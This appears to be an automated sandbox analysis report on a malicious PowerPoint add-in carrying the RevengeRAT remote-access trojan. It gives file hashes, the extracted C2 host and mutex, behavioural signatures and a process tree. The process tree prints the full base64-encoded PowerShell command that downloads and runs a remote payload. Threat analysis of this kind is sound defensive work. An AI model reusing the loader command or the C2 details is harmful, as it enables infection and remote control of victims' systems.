Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2023 06:26

General

  • Target

    Boleto2002301988master.ppam

  • Size

    13KB

  • MD5

    c323058745acd4feab0c15282709a04e

  • SHA1

    8e5a988968000ecfa816352c52bd66490bc2b31a

  • SHA256

    2e07606a2d33855138f2430c5aab7e1894e0e75efd2ab1b39ac76256614ca462

  • SHA512

    fa719dcc24dca693779406ab5eca4f7f4a0bfb736cb91b0868105213c91e0733600a33b49b6fdf4a7bfbaed84ae4407127181b86f6ede9e6f69bcefcd60400c9

  • SSDEEP

    384:dXPzPWrxbb3wiyhJ4eSTbhkIYGgAjLHU+zerK9p:VPObL7yz8hkIp5Vyw

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

b2b.ddns.com.br:5222

Mutex

d9261ef3301b4b86a95

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Boleto2002301988master.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADMAOAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8ANQAtAGgAZQBUAGYAMwBEAC8ARgBhAGMAawAuAGoAcABnAD8AZABzAGkAZAA9AEkANQBQAGEAQQBhAEoAYgAuAGIANQBhAGUANgAzAGIAMAAxADUAMQBhAGIAZgAyAGUAMgA0AGUANwBhAGMAMABjAGUANAA5ADQAZQAzADUANQAmAHMAYgBzAHIAPQBhADQAZABjAGMAOQBkAGMAMAA4ADUAMgA1ADYAYQA1AGMAZABlAGIAOQAxADMAMAA4ADkAZgBmAGQAYQA3AGEAYQBkAGMAJgBiAGkAcAA9AE0AagBBAHgATABqAEkAdwBMAGoARQB5AE4AeQA0AHkATQBUAEkAJgBsAGcAZgBwAD0ANAAwAA0ACgAnACkAOwAgAA0ACgBVAEEAYwBMAEYAVABOAEkAYgBJAEYAVgBYAGMAdABlAEkAUwBWAE0AVgBoAFAAaQBlAHIASgBGAEkAYQBBAE0AUABzAEYATgBYAEcAVwBEAHcATQBEAFoAdgByAE8ARgBjAEwAdABBAFgAcgBNAHYAawBVAEgAdwANAAoA""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
          PID:1888

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tblr3rk2.cfn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1472-136-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-137-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-138-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-139-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-140-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-141-0x00007FFEB8F60000-0x00007FFEB8F70000-memory.dmp

      Filesize

      64KB

    • memory/1472-142-0x00007FFEB8F60000-0x00007FFEB8F70000-memory.dmp

      Filesize

      64KB

    • memory/1472-207-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-206-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-205-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1472-204-0x00007FFEBB5F0000-0x00007FFEBB600000-memory.dmp

      Filesize

      64KB

    • memory/1512-186-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1512-177-0x000001DE901A0000-0x000001DE901B0000-memory.dmp

      Filesize

      64KB

    • memory/1512-183-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1512-188-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1512-190-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1512-192-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1512-194-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1512-176-0x000001DEAA180000-0x000001DEAA1A2000-memory.dmp

      Filesize

      136KB

    • memory/1512-179-0x000001DE901A0000-0x000001DE901B0000-memory.dmp

      Filesize

      64KB

    • memory/1512-178-0x000001DE901A0000-0x000001DE901B0000-memory.dmp

      Filesize

      64KB

    • memory/1512-184-0x000001DEAA510000-0x000001DEAA528000-memory.dmp

      Filesize

      96KB

    • memory/1888-195-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1888-208-0x00000000056A0000-0x0000000005C44000-memory.dmp

      Filesize

      5.6MB

    • memory/1888-209-0x00000000052B0000-0x00000000052C0000-memory.dmp

      Filesize

      64KB

    • memory/1888-210-0x00000000052B0000-0x00000000052C0000-memory.dmp

      Filesize

      64KB